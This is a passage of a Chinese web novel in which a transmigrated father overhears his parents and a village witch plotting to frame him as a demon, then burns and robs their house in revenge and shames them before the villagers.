毕竟,按照村里赵神婆的说法,所有的邪祟与鬼怪,都是害人的坏东西。
一旦有人沾染上,就会不断的残害身边的亲人和附近的邻居及村民,遗祸无穷。
哪里会像他爹现在这样,闲着没事儿跑到十余里外的县城,专门去给他们家二哥还债去了?
他若是真是邪祟,真想要害人的话,直接在村子里祸祸不就完了。
这样既方便还省事,完全没必要再跑到县城里,去做这些对于邪祟来说并没有什么实际意义的事情。
想到这里,**的心情顿时轻松了许多。
今天他也听到了村里谣传出来的那些传言。
大家都说他爹是被邪祟附了体,每天都要吃一对童男童女才能维系身体的原本面貌。
那些话传得可邪乎、可吓人了,听得**一阵心惊肉跳,心里七上八下,不自觉的就担心起了家里的几个孩子。
所以,他现在也迫切的想要确定,他现在的这个爹,
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到底是不是会害人会吃小孩的邪祟?
同一时间。
三河县城南的城中村,江天拎着中午打包好的半只八宝鸭和清蒸鲈鱼,下工回到家里。
一进门,他就看到了有些心神不定的媳妇儿,正呆愣的坐在院子里。
两个孩子不见了身影,应是到隔壁找其他小朋友玩儿去了。
同时,江天也看到孙芳身前的桌面上,摆放了满满一堆的东西。
有肉有蛋,有排骨有香油,甚至还有一大串的铜钱。
“这是……谁来了?”
“大舅哥,还是小姨子?”
江天失声询问,这两年来,他们家除了孙芳娘家的亲戚之外,少有人来。
现在看到桌子上摆放着的这么多东西,他的第一反应就是孙芳的娘家又来人了。
只是让他没想到的是,这一次大舅哥或是小姨子,竟然会这么大方。
不但给他们送来了这么一大堆东西,甚至留下了一大串的现钱。
孙芳见江天误会了,连忙摇头道:
“不是我娘家人过来了,是公爹他……下午的时候寻了过来。”
“什么?!竟是江河那老东西寻来了?!”
江天的心神一紧,连忙上前两步,上下打量了媳妇儿一番,关切问道:
“他没把你怎么样吧,是不是又打你骂你了?”
“没有!”孙芳摇头道:“爹好像变得跟以前不太一样了。”
“他这次过来,非但没有打骂我和孩子们,也没有朝我们要东西,反而还送来了这么多的好东西。”
“诺,你看这两百文钱,就是爹临走前扔给我的,说是让我给俩孩子去买两身新衣服。”
孙芳轻声细语的将公爹今天下午过来家里发生的所有事情,事无巨细地全都跟江天讲述了一遍。
最后,她还把江河留下的那张借据,拿出来给江天确认真假。
江天听完,整个人都麻了。
感觉像是在听一个天大的笑话。
他那个渣爹是什么秉性,他会不知道吗?
从小到大,那老家伙什么时候真正关心护佑过他们?
现在又怎么可能会主动替他们还贷,甚至还给他们送钱送物?
这简直就是天方夜谭嘛!
可是,桌面上放着的这些东西与现钱作不得假。
孙芳也不可能会故意说谎来欺骗他。
尤其是当他看到孙芳递过来的那张,加盖了汇丰钱庄印信的借据之后,他瞬间就变得沉默了下来。
良久,江天才涩声开口说道:
“这张借据……是真的!它就是两年前江河逼着我在汇丰钱庄签署的那一张!”
闻言,孙芳的整个身形还有精神状态都随之骤然一松。
既然借据是真的,那也就是说,公爹替他们还清欠款的事情也是真的。
否则的话,汇丰钱庄不可能会把这张借据还给他们。
既然欠款还完了。
那也就意味着,他们以后再也不用面对汇丰钱庄派来催债的那些混混了,再也不用每天都提心吊胆的过日子了。
“呜呜呜……”
这一刻,心神骤然放松的孙芳,再也压制不住心中的激动情绪,直接喜极而泣,当着江天的面哭出了声来。
第61章 老宅密谋
入夜。
趁着家人全都熟睡的时候,江河悄不息的起床出了房门,循着记忆,一路来到了江家老宅的所在。
江家老宅坐落在村东头,距离贾郎中家不太远。
虽是在农村这样的乡下地方,江家的老宅里面却盖着几间相对气派的青砖绿瓦房。
一人多高的篱笆院墙围出宽敞的院落,有些斑驳的朱漆木门上镶着两个铜环,在月光下泛着淡淡的幽光。
院中有正房两间,东西厢房也各两间,清一色的青砖到顶,屋顶铺着墨绿色的瓦片。
瓦片不是那些只有大户人家才能用得起的琉璃瓦,而是用黄泥烧制的土砖瓦,为了美观,特意在上面涂了一层绿漆。
可即便是如此,这样的房屋与宅院,在整个下河村都算得上是数一数二了。
除了老族长王德顺,还有里正王冶山他们两家之外,就数这**家的宅子修得最是豪华气派了。
毕竟,村里大多数人家住的基本上都是土坯茅草房,了不起就是多上几条横梁,让房子看起来更高大更坚固一些。
像是**家这样全砖全瓦的院落,少之又少。
站在老宅的院门前,看着这几间刚住了没几年的青砖绿瓦房,江河心中不由泛起一阵冷笑。
这座宅院能够修得如此豪华气派,其中至少有九成是靠着原身这些年从自家抠出来的血汗钱盖起来的。
否则的话,就凭已经年迈的江十二与王三妮,还有素来好吃懒做,连地都种不周全的老二江洋两口子,他们能盖得起个屁的砖瓦房。
可叹的是,老宅这帮狗东西,拿了他的钱,吃了他的饭,却还不给他好脸,甚至还处处打骂甚至欺凌原身一家。
而更气人的是,原身这蠢货为了一个孝道的名声。
十几年来,竟对自己的妻儿没有半点儿维护,反而还帮着老宅的这帮白眼狼一起欺辱自己的妻儿。
他的老婆王娟,三年前被王三妮堵着门叫骂了三天三夜,最终受不了在家上吊自缢了。
可原身这个拎不清的狗东西,竟然还帮着他娘说话,反过来指责王娟忤逆不孝顺。
这操作,简直就是……不当人啊!
每次脑子里面泛起这样的过往画面时,江河都气得有些肝疼,恨不得直接大嘴巴子狠抽原身这个蠢货。
你特娘的想要孝顺自己的父母,你自己就去孝顺不就得了。
哪怕他是去**、卖肉甚至**,自己赚钱去孝敬自己的父母,哪怕是愚孝,江河也都不会多说丫一句坏话。
可是原身这狗东西这些年都做了些什么?
他自己整天屁事儿不干,只知道天天磋磨自己的媳妇、儿女,甚至儿媳与孙子孙女。
还十几年如一日的,不断把他们辛苦劳作得来的血汗钱,抠出来去接济老宅一家。
现在,老宅一家被喂得饱饱的,富得流油,连砖瓦房都盖起来了。
而原身一家呢,住着的还是二十几年前他刚成婚时,东拼西凑才盖起来的土坯茅草房。
漏风漏雨也就罢了,东西两边的土坯墙甚至都开始裂纹了,一副随时都有可能会倒塌的样子。
江河这两天睡在屋子里,都有些提心吊胆,生怕夜里一阵大风刮来,直接就把家里的房子给吹倒了。
可以毫不客气的说,他们家现在的住房条件,绝对是整个下河村里最垫底的存在。
与眼前江家老宅的这座砖瓦宅院相比,简直就是一个在天,一个在地。
“被老宅吸血吸了这么多年,也是时候跟他们清算一下利息了!”
江河轻声自语了一句,之后双腿微屈,双足一用力,整个身形便如狸猫般悄无声息地翻过老宅的院墙,轻盈落地。
正当他准备潜入老宅专门存放粮食的东厢房,给老宅来个“清仓大处理”时。
却听见正房那边传来一阵刻意压低了声音的交谈声。
“老嫂子,相信我,只要你按我说的去做,要不了三日,我保管让那邪祟当众现出原形!”
一个略带沙哑且阴沉无比的女人声音,悄然传入到了江河耳中。
江河心神一动,瞬间就分辨出,这正是赵神婆那个老妖婆的声音。
“什么?还要再等两天?!”
王三妮有些气急败坏、暴躁不已的声音也跟着传了出来:
“不行!我是一刻也等不了了!”
“赵大妹子,你没听人说吗,那个不孝子今天去城里了,回来的时候又是买肉又是买酒的,甚至还买了望福楼里的枣泥糕!”
“他那花的可全都是我老婆子的棺材本、血汗钱啊!”
“就他那败家的模样,要是再等两天,我赔给他的那一贯钱,还不得全都被他给造光了?”
江河闻声,不由眉头微挑,悄无声息地绕过东厢,摸到正房的窗台下,透过窗户的缝隙往里看去。
只见屋内点着一支只有豆大点儿灯光的红烛。
在烛火的映衬下,屋内几人的面容一一映入江河的眸光之中。
江十二和王三妮坐在主位,江洋夫妇陪坐一旁。
赵神婆则坐在与江十二、王三妮相对的客位上,正小声劝慰着王三妮:
“老嫂子,我知道你很急,恨不得马上就将江河那个不孝子给弄死,把之前**河讹走的钱全部拿回来了,可是这事儿它真的急不得。”
“现在村子里的谣言还欠了些火候,很多村民,尤其是老族长与里
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正他们,都还处在观望的状态之中。”
“咱们若是现在就出手,未必能做到一击必杀,彻底将江河给钉死。”
王三妮老脸上的肿胀未消,闻言一脸狰狞的咬牙切齿道:
“可老娘我就是忍不了啊!”
“一想到那个白眼狼现在每天拿着老娘的钱吃香的喝辣的,还给那些赔钱货买糕点吃,我就受不了!”
好似早就料到王三妮会这么说,赵神婆阴恻一笑,道:
“老嫂子,莫要再盯着你给江河的那一贯钱了,咱们的眼光要放长远一点儿。”
“想想看,一旦咱们将江河是邪祟的事情做实了,并如愿的把他给送上了火刑架。
以后他们家的宅院和田地,还有那几个没有长大的小崽子,还不是你想怎么拿捏就怎么拿捏,想处置就怎么处置?”
“你不是一直想着要把江沫儿、江娴那俩丫头给卖了吗?”
“以后没有了江河的阻拦,就凭**那个窝囊废,还有赵穗、罗灵那两个小娘子,他们能拦得住你?”
“相信我,只要这事儿咱们做得周密,以后你能从江河身上得来的钱财,绝对会比你给出去的那一贯钱还要多得多!”
王三妮闻言,不由微微点头,看上去很是意动。
江河那个不孝子的家里如今虽然已经穷得叮当响,再也榨不出半两多余的油水出来了。
但是他们家的那几亩地,这几年可是**泽那小鳖崽子给伺候得极好。
若是能抢过来拿去卖了,少说也能卖出七、八贯的现钱。
还有江沫儿与江娴那两丫头,年岁虽然还不大,可是全都已经露出了美人胚子的苗头,有的是大户人家想要。
事实上,早在两天前,她就已经为那两丫头寻好了买家。
甚至连价钱都已经谈妥,足足三贯钱啊!
其中五百文钱的定钱她也都已经收下了,就等着跟那家人约定的时间一到,就把那两个赔钱货给人家送去呢。
结果,好好的一桩大买卖,却**河那个突然变了性情的不孝子给耽误了。
现在,眼见着距离她跟那户人家约定好的时间越来越近。
若是不尽快想办法把江河这个丧门星、拦路虎给除了,她岂不是就要把那五百文钱给原数退回去了?
已经进了她口袋里的钱,她怎么会舍得再往外拿,那不跟要了她的老命一样?
所以,无论如何,她都得在约定的时间到来之前,把江河那个不孝子彻底解决掉!
如此,她不但保住那五百文的定钱,还能顺利拿到剩下的那两千五百文。
甚至于,就连江河家的那几块肥田,也有机会全都变成他们老宅的私产!
第62章 火烧老宅,声东击西
好家伙。
江河直呼好家伙。
这些人竟然是想要把他们一家人,给当成绝户来吃干抹净啊。
这已经不是一般的阴毒了,这是想要把他们全家全都往一绝路上逼的节奏啊。
想想看,如果他真的被赵神婆、王三妮这些人给折腾**。
就凭着家里的**、赵穗及罗灵那几个逆来顺受的面瓜,还不得被王三妮这个所谓的亲奶给吃得死死的?
一旦他们赖以生存的田地被强抢变卖,家里的几个孩子也被强行“送”给那些大户人家当童养媳,或是为奴为婢。
他们现在的这个家,也就算是彻底的完了!
**、赵穗还有罗灵他们三个,非得直接被逼疯掉不可。
得亏他今晚心血来潮过来溜达了一趟,否则还真不知道这些白眼狼竟然敢在背后如此算计他。
江河的眼中闪过一丝冰冷的寒光。
原本他今晚过来,只是想要讨回一些利息,偷摸把老宅所有的存粮和财物全都搬走也就得了,并不想伤人。
但是现在,他改主意了。
既然这些人想要跟他玩阴的,想要在背后算计他,那他就陪这些人好好玩玩。
今晚,东西他要拿,人他也要整!
不然的话,胸中的这口恶气他出不来!
“老嫂子,咱们现在的当务之急,是如何让村子里所有的人全都相信江河是邪祟,让他们切实的感觉到,江河的存在,会严重威胁到他们自身的安全……”
“只有做到人人自危,所有人都相信江河是邪祟,并对其畏惧如虎,这件事情就成了九成九!”
这时,赵神婆在屋里面继续开口说道:
“现在,我们只需要一个引子,一个把所有的谣言与灾祸全都嫁祸到江河这个邪祟身上的引子。”
闻言,江十二、王三妮与江洋两口子同时精神一震,齐刷刷的瞪着眼睛看向赵神婆。
江十二更是直接开口向赵神婆说道:
“大妹子,有什么话你直说就是,只要能弄死那个不孝子,该我们做什么,我们绝对会全力配合!”
“你放心,事成之后,那个逆子家的家财我们分你三成!”
王三妮与江洋、王艳也同时点头,眼中全都闪耀着贪婪与凶戾之色。
这个时候,江河在他们的眼中已经不再是什么儿子、兄长,而是一个阻挡他们发财的绊脚石,一个他们恨不得马上就能清除掉的大祸害。
赵神婆闻言,眼前不由一亮,轻笑着道:“有老哥这句话,老婆子我也就放心了。”
“其实办法很简单,就看老哥还有江洋你们敢不敢做了!”
说着,赵神婆再次压低声音,小声向江十二、王三妮几人说道:
“老身之前不是让你们对外散播传言,说江河不但是邪祟,还会吃童男童女么?”
“老身方才所说的这个引子,就是村里的一对童男童女!”
嘶~!
此言一出,在场的所有人,包括站在窗户外面听墙角的江河,全都被吓了一跳!
江河的心猛地一沉,一股寒意从脚底直冲头顶。
他万万没想到,这个赵神婆竟然恶毒到了这般地步,为了陷害他,连残害幼童的事情都能做得出来!
原本他还想着,这老太婆年纪大了,待会敲闷棍的时候,只打断她一条腿稍作惩戒也就罢了。
但是现在,江河已经打定主意,不但要打断她的两条腿,外加两只胳膊,就连那张臭嘴也要给她呼烂!
“大妹子,这……这可使不得啊!那可是人命关天的大事!”
屋里面,江老头明显也被赵神婆的这般惊天言论给吓到了,连忙摆手说道:
“我们要是做了,以后县里的捕头若是追查下来,我们……我们岂还会有好日子过?”
江老头虽然一心想要让江河那个逆子死,可他却从来都没有想过自己直接动手,更不想让自己的身上沾染人命官司。
“没出息的东西!”
王三妮鄙夷的看了江十二一眼,眼中凶光一闪,咬牙道:
“你在瞎害怕什么?大妹子又不是真要你取了他们的性命!”
赵神婆阴笑道:“还是老嫂子更懂我,老身就是这个意思!”
“咱们只需在村子里随便找两个孩子,喂他们些**,让他们昏迷几天,伪装成失踪遇害的样子。”
“然后,再把那俩孩子身上的衣服沾上点儿血,偷偷塞到江河他们家,到时候老身亲自出面,直指江河这个邪祟做恶**,这件事情就算是成了!”
“至于那两孩子,等到事成之后再把他们救醒,或是直接卖给县里的人牙子就是了。”
“如此,神不知,鬼不觉,江河那个不孝子就算是长满一百张嘴,他也说不清楚。最终只会被愤怒的村民们给送上火刑架,活活烧死!”
江十二闻言,不由微微点头,只要不是让他真的去**,一切都好商量。
在村子里随意拐走两个孩子,对他来说并不是什么难事。
“就这么定了!”王三妮紧握了一下双拳,厉声道:“就找王老四和王小顺他们两家的那两个小崽子!”
“昨天他们都吃了江河给的猪油渣,还不断在别的孩子面前说江河那个逆子的好话。”
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“就连他们家大人,这两天也在不断说江河不是邪祟,只是被撞到了脑袋之类的歪理邪说,现在正好拿他们两家来开刀!”
“老身倒要看看,若是他们知道自家的孩子,竟**河这个邪祟给活活吃掉了,他们以后还敢不敢再与江河一家走得亲近!”
窗外的江河听得浑身发冷。
这些人竟然连想要残害的目标都选好了。
正是昨天才刚刚与他们家稍稍缓和了些关系的王老四与王小顺家。
为了报复他,为了吃上他们家的绝户,这些人还真是无所不用其极啊!
得到了自己想要知道的消息,江河缓缓退至中院。
他先把堆放在东厢房内的上千斤粮食和一些时令蔬菜全部收入物品栏中。
然后,他又掏出一壶白天在县里签到得来的助燃火油,分别向东厢及隔壁的灶房之中倾倒。
做完这一切后。
江河淡然的站在灶房门前,随手一挥,将一颗带着明火的火石扔到了那堆足有一人多高的干柴堆里。
轰~!
几乎是在顷刻之间,熊熊烈焰便在灶房里剧烈燃烧起来,很快就将整个灶房全部吞噬笼罩。
隔壁的东厢库房也是一样,在火油的助燃下,火势迅速崛起,只是几个呼吸的工夫,就将东厢也完全包裹了起来。
这时,正在堂屋里密谋的几人,也听到了外面传来的噼里啪啦的声响。
看到了院子里已经将整个宅院给映照得如同白昼的熊熊大火,全都夺门而出。
哪怕是已经被断了一条腿的王三妮,也架着双拐,单脚跳出了屋门。
当他们看到已经彻底燃烧起来的大火,不但将整个灶房给完全笼罩,甚至就连旁边他们存放粮食的库房,也受到了严重的波及。
除了赵神婆之外,江家老宅的人全都感觉自己头上的天都要塌了。
“唉哟,我的老天爷啊,怎么好端端的就起火了呢?!”
“老头子,老二,你们都还愣着做什么,还不快叫人来救火!”
“咱们家的粮食可全都在东屋啊,这要是全都给烧了,咱们家以后可怎么活啊?!”
王三妮架着双拐,不断的在院子里大呼小叫,鬼哭神嚎。
江十二、江洋、王艳还有赵神婆几人反应过来,全都开始去找打水的器具,同时呼叫左邻右舍前来帮忙救火。
而江河,则趁着这些人全都出了堂屋,在院子里手忙脚乱救火的时候,悄悄钻进了堂屋的里卧。
他要找到老宅这些白眼狼藏钱的地方,然后将之洗劫一空,彻底将这些狗东西给逼上绝路。
第63章 猫哭耗子,江河救火
几分钟后。
江河看着他从房梁上翻找出来的一只破旧木箱。
还有木箱里安放着的三锭银子、一对玉镯、两支银钗及三贯铜钱,整个人都麻了。
早在之前他就知道,吸了他们家二十余年血的老宅,这些年肯定没少攒下钱。
可是他却万也没有想到,他们竟然攒下了这么多!
一锭标准官银的重量是十两整,三锭就是三十两,换成铜钱的话那可就是三十贯!
三十两银子,加上三贯铜钱,还有那些首饰,总价值绝对超过了三十五贯。
特喵的,他们手里明明已经积攒下了这么厚的家底,却还不停的在原身的跟前哭穷,逼得原身不断的送钱送物来孝敬他们。
更过分的是,之前他开口向江十二和王三妮两口子,要几十文钱去请郎中救命,他们竟都不毛不拔!
幸亏他已经跟这样一对贪婪无度且还冷血无情的父母彻底断了亲,不然的话,以后还不知道要被他们吸多少血,被恶心多少次呢!
江河深吸了口气,之后心神一动,将木箱整个收进物品栏中。
然后他又在屋里仔细搜查了一遍。
在床下的地洞里找到一个钱袋,里面装着几百文钱。
在衣柜的暗格里发现了几块碎银子,加起来还不到一两重……
当他把屋里面所有值钱的东西全都搜刮了一遍,确定再无半点儿遗漏之后,又冷冷的瞥了一眼正在院子里忙着救火的江十二、王三妮等人。
财务上的账,他已经收得差不多了。
接下来就是该怎么惩戒外面的这几个狗东西了。
竟敢在背地里设计谋害他江某人的性命,吃他们一家老小的绝户。
只是敲闷棍,打断他们几条腿,都算是便宜他们了。
他江某人做事,从来都是以牙还牙,以眼还眼,讲究的就是一个“有恩十倍报,有仇十倍偿”!
想要让他大度,以德报怨的原谅自己的仇人,门儿都没有!
江河悄无声息的退出堂屋,没有傻到直接冲到王三妮、赵神婆等人的跟前寻他们的麻烦。
而是小心的避开人群,趁着夜色快速返回村西头的家中,装成一副刚刚被外面动静吵醒的样子,推门走出卧房。
这时,**、赵穗及罗灵三人,已经被惊醒了好一会儿,正站在院子门前向外观瞧打量。
“老三,外面发生什么事了,怎么这么吵闹,让人连觉都睡不好?”
江河伸着懒腰,摆出一副睡眼惺忪的样子,随口向**询问。
“爹,你也被吵醒了?”见江河从屋里出来,**连忙开口说道:“听说是村东头谁家失火了,大家都忙着挑水去救火呢。”
江河故作惊讶:“失火了?谁家这么倒霉?”
赵穗接话道:“看那火光升起的方向,有点像是老宅那边,你们说,该不会是老宅着火了吧?”
此时,村东头的这场大火,火苗都蹿出了十几米高,几乎将半个村子都映照得一片艳红,分外的引人注目。
**几人站在院门前遥遥看去,隐约可以感觉到,那起火的源头,似乎就是在江家老宅那边。
这时,隔壁的王老四拎着水桶急匆匆跑过,江河连忙开口叫住他:“王四哥,知道这是谁家走水了吗?”
王老四闻言停下脚步,脸上带着一丝幸灾乐祸的莫名意味,开口向江河说道:
“还能是谁家,你们江家老宅那边啊!听说火势还不小,整个东厢和灶房全都给烧起来了!”
“什么?竟真是老宅那边?”**吓了一跳,连声问道:“怎么会这样?老宅里的人没事吧?”
虽然两家已经断了亲,可老宅那边住着的毕竟是他的爷奶和二叔二婶,现在乍然听到老宅被烧,**的心中多少还是有些担心。
“这我哪知道,”王老四直接摇头道:“我也是刚刚才得了消息,这不正着急前去帮忙救火吗?”
江河心中暗笑,面上却故作担忧道:“这可如何是好?老三,快去提上家里的水桶,咱们也赶过去帮忙!”
**一怔,颇有些意外的看了老爹一眼:“爹,咱们也去?老宅那边可未必会欢迎咱们吧?”
他们两家毕竟已经断了亲,前天老爹更是还从老宅“讹”来了一贯钱的赔偿,爷奶正恨他恨得牙痒痒呢。
现在老宅失火,他们若是过去的话,肯定会被爷奶给当成是不安好心、幸灾乐祸,指不定会闹出什么幺蛾子呢。
“唉,这孩子,看你说的都是什么话?”
“咱们与老宅虽说是已经断了亲,可毕竟还是乡里乡亲的,哪能真个见死不救?”
江河摆出一副大义凛然的样子,当着王老四,还有后面闻讯走出院子的乡亲们,朗声说道:
“我江河就算是再混账、再不是东西,也知道救人一命胜造七有浮屠,更做不出那种见死不救
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的事情来!”
“走了,随为父一起,赶快去老宅救火救人!”
说着,他率先拎起家中的水桶就往村东头跑。
**和赵穗、罗灵几人对视一眼,也赶紧快步跟上。
王老四,王小顺等附近的村民,见江河竟表现得这般深明大义、不计前嫌,主动拎着水桶到老宅去救火,眼中皆都露出了一丝惊讶意外之色。
“这江河,还真转性了啊!”
“那边毕竟是他的亲生父母,他哪能真的不在意他们的死活呢?”
“要我说,就是**头与王三妮他们做得太过份了!
江河掏心掏肺的孝顺了他们那么多年,往老宅送了那么多的钱和粮食,甚至还帮着他们建起了砖瓦房。
结果呢,他们竟然因为不愿给江河看伤治病,主动跟江河断了亲,这是亲生爹娘能做出来的事情吗?”
“对对对,照我看,江河前天出手打了江老头儿两口子,也是因为气不过,一时冲动。他本心里还是很在意、很孝顺自己的爹娘的。”
“要不然的话,他现在也不会一听到老宅失火,就这般火烧火燎的前去帮忙救火了!”
“话是这么说,可是江河这几天的表现实是有些反常,很多人都说他是被邪祟给附了身,已经不再是人了……”
众人一边小声的议论着,一边提着水桶快步走向村东头。
等他们赶到时,老宅的火势已经基本被控制住了。
不过,老宅东边的灶房和东屋,也已经变成了一片灰烬。
房梁焚毁,屋顶坍塌,整间房屋只留下四面光秃秃且还被熏得污黑的墙壁,继续矗立在原地。
哪怕是青砖绿瓦房,也一样抵挡不了熊熊大火的烈焰侵蚀。
也就是附近的村民求援及时,才没有让火势继续波及到另外几间房屋。
否则的话,**家的损失只会更严重。
王老四、王小顺几人进入老宅院中时,正好看到王三妮像条疯狗一样挂在江河的身上,一边拍打嘶咬,一边高声叫骂:
“都是你个丧门星惹出来的祸患!”
“如果不是你这个邪祟在暗中搞鬼,我们家好端端的怎么会突然失火?!”
“呜呜呜,我们家所有的存粮全都被烧了,全都没了,这下你该高兴了吧?!”
“你个混账东西,现在竟然还敢跑过来猫哭耗子,看我们家的笑话,充当好人,看老娘不咬死你!”
第64章 你们都眼瞎了吗?
“今天这场火,肯定是你这邪祟偷偷放的!”
“我不管,你今天若是不把我们家的损失全部赔偿出来,老娘跟你没完!”
“……”
听到王三妮的这番无赖言语,江河心中不由泛起一丝冷笑。
还真让这老太婆给误打误撞的说对了,这场火确实是他江某人放的。
只是,这般无凭无据地讲出来,谁又会相信呢?
倒是这个老太婆,都到了这个时候了,竟然还不忘往他身上泼脏水,不断的对他嗤牙,胡搅蛮缠,怕是已经忘了两天前的那顿胖揍了吧?
真是好伤疤忘了疼啊,上一次还是打轻了!
江河可不是原身那个蠢货,自然不会继续惯着她。
看着像只树獭一样挂在自己左臂上不断撒泼叫骂的王三妮。
他右手一抬,直接就将他刚刚打来的一桶凉水,当头倒在了王三妮的身上。
现在已是初秋,白天的天气虽然还有一丝末夏的躁热,但是夜里的气温却已变得有些寒凉。
这么一桶刚刚从水井里打出来的凉水直接浇到头上,瞬间就将王三妮给浇成了落汤鸡。
四下的微风轻轻一吹,顷刻就把王三妮给冻得直打哆嗦,喷嚏更是一个接着一个。
浇完水后,江河却并没有就此停手,怕这老太婆还不够清醒,便又抬手在她的老脸上啪啪补了两个大嘴巴,直接就把王三妮给打懵了。
撒泼吵闹的声音戛然而止,紧抱着江河胳膊的双手也不自觉的完全松开,整个人如一摊烂泥瘫坐在地上。
我是谁?我在哪?我在干什么?
王三妮呆呆的坐在地上,眼冒金星,脑子一片空白,嗡嗡作响。
“特么,老子好心过来帮忙救火,你却这般污蔑老子,真当老子没脾气,是个好欺负的吗?!”
江河一点儿也不客气的指着王三妮的鼻子破口大骂。
同时也没忘了向周围看热闹的乡亲们卖惨诉屈:
“乡亲们,你们应该都看到了,我刚刚可什么都没干,只是跟你们一样,好心从村西头跑来帮忙救火,结果竟还帮出错处来了!”
“这个王三妮,也就是我江河以前的亲娘,刚刚竟然满口喷粪的污蔑我是邪祟,她这是什么意思?这是想要我死啊!”
“真当我不知道么,前两年隔壁村就有一个倒霉蛋说是被邪祟给附了身,结果没两天就被全村的人给绑着送上了火刑架,当场就烧成了渣渣灰。”
“现在王三妮污蔑我是邪祟,不是想要烧死我又是什么?”
“咋的,我江河现在脑子清醒了,不想要再像以前那样对你们言听计从,不愿再乖乖让你们老宅一家吸血了,我就是邪祟了?”
“我想要对我的儿子、女儿、儿媳妇还有孙子孙女们好一点儿,让他们过上正常人该有的日子,我就是邪祟了?!”
“难道我江河,就不能是浪子回头金不换,就不能是被你们老宅给寒了心,头脑彻底清醒过来了?!”
“这十几年来,我对老宅怎么样,大家都有目共睹。不说别的,你们看看老宅现在住的是什么房子,再看看我江河家住的是什么房子?”
“你们再看看老宅这几口人,哪一个不是脑满肠肥,油光满面。再看看我江河家里的孩子们,都特么瘦成麻杆了!”
“我现在想要对他们好,想要让他们吃顿饱饭,过上好日子,难道有错吗?”
“还有之前的断亲,那特么是我想断的吗?!”
“还不是江十二与王三妮,嫌我重伤难医,怕我会连累到他们,这才火急火燎的找来老族长与里正叔,逼着我签下了断亲文书!”
“在场的父老乡亲们,你们说,老宅都这样对我了,我难道还要再继续犯贱,当作什么事情都没有发生,接着给他们老宅送粮送物,接着供养着他们吗?”
江河一脸悲愤又条理清晰的述说着发生在自己身上的诸多不公,听得周围的村民不断点头。
有一说一。
江河这厮的为人虽然不咋滴,名声也臭得不行。
但是在孝顺父母这方面,他以前做得真是没话说。
之前的断亲,但凡知晓一点儿内情的人,都知道,确实是江老头与王三妮做得太过分了。
还有刚刚,王三妮二话不说,就对着刚刚才从外面打水进来准备救火的江河,一阵撕咬叫骂。
甚至还当众说江河是邪祟,把家里失火的责任全都归结到江河的身上,还想要让江河赔偿他们家失火的损失,简直就是胡搅蛮缠,不可理喻。
正如江河所说,他真要是被污蔑成了邪祟,将来肯定是要被送上火刑架,直接被大火给烧死的。
王三妮这样说江河,不管是有心还是无意,都是大大的不应该。
“江河!你给我住嘴!”
江十二这时也反应过来,第一时间冲上前来将王三妮抱在怀里,一脸愤怒的看着江河,高声指责道:
“你……你这个不孝子、白眼狼!你竟然又出手打你娘,还往你娘身上泼凉水?!”
“现在这个天气,你把你娘浇成了这个样子,是存心想要了她的命吗?!”
“现在,马上过来跪下给你娘磕头道歉,并赔你娘一贯钱的汤药费,否则你就别怪我们也去县里告官!”
说话的同时,江十二还不忘使劲捏了捏已经被打懵圈了的王三妮,疼得王三妮一阵呲牙咧嘴,眼泪都流出来了。
上一次是他们跑到江河家**,挨了打,受了气,甚至还赔了一贯钱,算是他们自己理亏,捏着鼻子也就认了。
但是这一次,可是江河跑到了他们家来****,他们才是占理的一方。
若是不趁机把那一贯钱再给讹回来,他都对不起老太婆刚刚挨的这两个大嘴巴。
王三妮吃痛,很快就回过神来,听到江十二所言,瞬间就明白了老头子的打算。
不就是撒泼打滚,哭闹卖惨再讹人么,这一套活计她可是熟得不能再熟了。
王三妮当即往地上一躺,拍着大腿嚎啕大哭起来:
“哎哟喂!**啦!儿子打娘啦!我们家出了忤逆不孝子,连自己的亲娘都打啊,大家都来看看啊!”
“我的腿断了,我的牙掉了,我的头也疼得厉害……哎哟哟!江河这个不孝子,存心就是想要打死我这个老太婆啊……”
她一边哭一边偷偷观察周围人的反应,却惊愕的发现,村民们非但没有同情她,反
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而还一个个的冲她露出鄙夷的神色,对着她指指点点。
“这王三妮,都这时候了还想着讹钱?”
“就是,刚才明明就是她先找的茬儿,说江河是邪祟,甚至还污蔑是江河放的火,这不是存心要害江河么?这心肠也忒歹毒了!”
“是啊,都说虎毒还不食子呢,怎么感觉这个王三妮的心肠比老虎还毒呢?”
“我看她就是活该,我要是江河的话,也一样会忍不住抽她几个大嘴巴!”
“……”
或许是因为江河刚刚的那番卖惨表述,引起了大部分村民的心理共鸣,现场的**导向一面倒的偏向了江河这边。
只能说,下河村内,大部分村民的三观还是很正的。
至少在没有涉及到他们自身利益的前提下,他们并不介意站出来说几句公道话。
“你们这些人,全都眼瞎了吗?!竟然帮着江河这个不孝子欺负我一个老太婆,简直就是丧良心啊!”
见村民们不帮着自己说话,反而偏向了不孝子那一边,王三妮就更受了不了,忍不住指着周围的村民叫骂道:
“真是没天理啦!现在挨打受伤的可是我老太婆,他一个打了自己亲娘的不孝子,你们这帮蠢货竟然还向着他,肯定是被这个邪祟给蛊惑了……”
“够了!”
后面赶过来的老族长王德顺,实在是看不下去了,忍不住在地面上狠狠的敲着他手中的拐杖,厉声向王三妮喝斥道:
“王三妮,你快给老夫闭嘴!”
“都半截身子入了土的人了,还在这里撒泼打滚、胡言乱语,你不嫌丢人,老夫都替你臊得慌!”
见老族长表态,王冶山也沉着脸站出身来,厉声向江老头两口子说道:
“江十二,王三妮,是非公道,自在人心,由不得你们在这里胡搅蛮缠!”
“我警告你们,你们要是再这么胡闹下去,就莫要怪我王冶山不讲情面,亲自把你们押送到宗祠问责了!”
江十二和王三妮顿时傻眼了。
他们没想到,这次连老族长和里正都不站在他们这边,甚至还要把他们押到宗祠去。
这跟他们预想中的结果可是完全不一样啊!
为什么明明是他们挨了打,受了欺负,甚至就连家都被烧了。
可是族长、里正还有周围的乡亲们,却全都视而不见,还反过来责备他们胡搅蛮缠?
这些人为何要如此的偏帮江河这个忤逆子?江河到底给了他们什么好处?
江河见状,心中不由一阵冷笑,面上却故作委屈的向王德顺及王冶山说道:
“里正叔,族长公,你们都看到了,我本是好心过来帮忙救火的,结果却……”
“我们明白。”王德顺叹了口气,抬手轻拍了拍江河的肩膀,温声道:“江河啊,你先回去,这里交给我们处理就好。”
“你放心,咱们下河村是讲道理的地方,你没做过的事情,谁也赖不到你的头上!”
江河没再多说什么,顺从的点点头,冲着王德顺及王冶山郑重的拱手一礼后,便带着**、赵穗和罗灵三人转身离开。
走出了老远,都还能听到后面传过来的王三妮不甘心的哭嚎声。
第65章 打仗亲兄弟,上阵父子兵
眼见着老族长与里正就这么轻易的放江河一家离开,王三妮不由又是一阵哭天呛地的撒泼喧闹。
